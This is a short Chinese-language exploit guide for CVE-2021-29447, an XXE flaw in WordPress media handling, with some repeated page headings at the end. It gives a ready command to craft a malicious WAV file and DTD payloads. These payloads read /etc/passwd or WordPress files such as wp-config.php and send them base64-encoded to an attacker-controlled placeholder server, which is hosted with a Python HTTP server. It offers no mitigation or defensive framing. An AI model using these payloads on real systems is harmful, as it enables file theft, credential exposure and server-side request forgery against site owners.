CVE-2021-29447

影响

任意文件泄露：可以获取主机文件系统上任何文件的内容，例如包含数据库凭据等敏感数据的 wp-config.php。服务端请求伪造（SSRF）：可以代表 WordPress 安装发起 HTTP 请求。根据环境不同，这可能产生严重影响。利用漏洞

在枚举过程中，借助 wpscan 工具，识别出了一个受此漏洞影响的 WordPress 站点。

创建恶意 WAV 文件。

非常简单，在你的 bash 控制台中

nano poc.wav echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOURSEVERIP:PORT/NAMEEVIL.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

在你的攻击者 PC 上创建一个包含将在 Web 服务器上执行的代码的 dtd 文件。

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >

注意：要读取 WordPress 文件，请使用语法 "../WP-FILE.php"

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=../index.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >

在文件目录下托管一个 Python 服务器（python3 -m http.server 8081）

参考：

https://github.com/motikan2010/CVE-2021-29447 https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5

CVE-2021-29447

最受欢迎

CVE-2021-29447

影响

创建恶意 WAV 文件。

参考：